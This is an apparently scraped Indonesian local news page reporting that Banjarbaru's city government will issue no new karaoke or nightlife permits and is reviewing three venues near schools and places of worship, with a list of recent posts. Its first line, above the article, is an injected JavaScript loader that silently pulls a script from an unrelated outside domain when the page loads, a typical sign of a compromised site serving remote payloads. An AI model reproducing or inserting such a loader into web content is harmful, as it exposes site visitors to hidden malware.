(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Setop Izin THM, 3 Karaoke di Banjarbaru Tak Boleh Lagi Beroperasional


KANALKAKIMANTAN.COM, BANJARBARU – Selama beberapa tahun kedepan, dipastikan tidak akan tempat hiburan karaoke baru yang menghiasi kota Banjarbaru. Pasalnya, Pemko Banjarbaru telah memutuskan untuk tidak menerbitkan izin bagi karaoke atau tempat hiburan malam (THM) yang ingin beroperasi di Banjarbaru.

“Kita tidak akan menerbitkan izin. Sesuai arahan bapak Wali Kota, kita hanya boleh menerbitkan perpanjangan izin bagi karaoke yang sudah beroperasi selama ini,” kata Kepala Dinas Penanaman Modal Perizinan Terpadu Satu Pintu (PMPTSP) Kota Banjarbaru dra Hj Rahma Khairita MM, Kamis (12/3/2020).

Menurut data yang tercatat di Dinas PMPTSP Kota Banjarbaru, selama dua tahun terakhir, ada sejumlah karaoke yang telah melakukan perpanjangan izin. Adapun diantaranya, pada tahun 2018 ada 4 karaoke perpanjang izin hiburan. Sedangkan, di tahun 2019 ada sebanyak 3 karaoke perpanjang izin hiburan.

Namun begitu, Rita -sapaan akrabnya-, terkait aturan Pemerintah Kota Banjarbaru untuk memutus izin karaoke yang beroperasi dekat dengan fasilitas pendidikan dan tempat keagamaan. Dalam hal ini, ada tiga karaoke yang tergolong menyalahi aturan tersebut.

Kadis PMPTSP Kota Banjarbaru dra Hj Rahma Khairita MM (berdiri-kanan). foto: rico

“Tiga karaoke berada di jalan A Yani dekat dengan sekolah dan rumah ibadah. Nah, saat ini kami masih lakukan pembahasan dengan Biro Hukum tentang perpanjangan izin ketiga karaoke tersebut,” kata Rita.

Pun, jika bisa diperpanjang, nantinya 3 karaoke tersebut mau tidak mau dihadapkan kembali dengan aturan tersebut. Karena Dinas PMPTSP sendiri telah mengeluarkan edaran bahwa perpanjangan izin hiburan hanya dibolehkan sampai tahun 2020. Artinya, ketiga karaoke tersebut dalam beberapa tahun kedepan harus siap untuk mencari lokasi yang baru.

Adapun sejumlah pihak manajemen karaoke saat dihubungi, belum bisa memberikan keterangan apapun. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.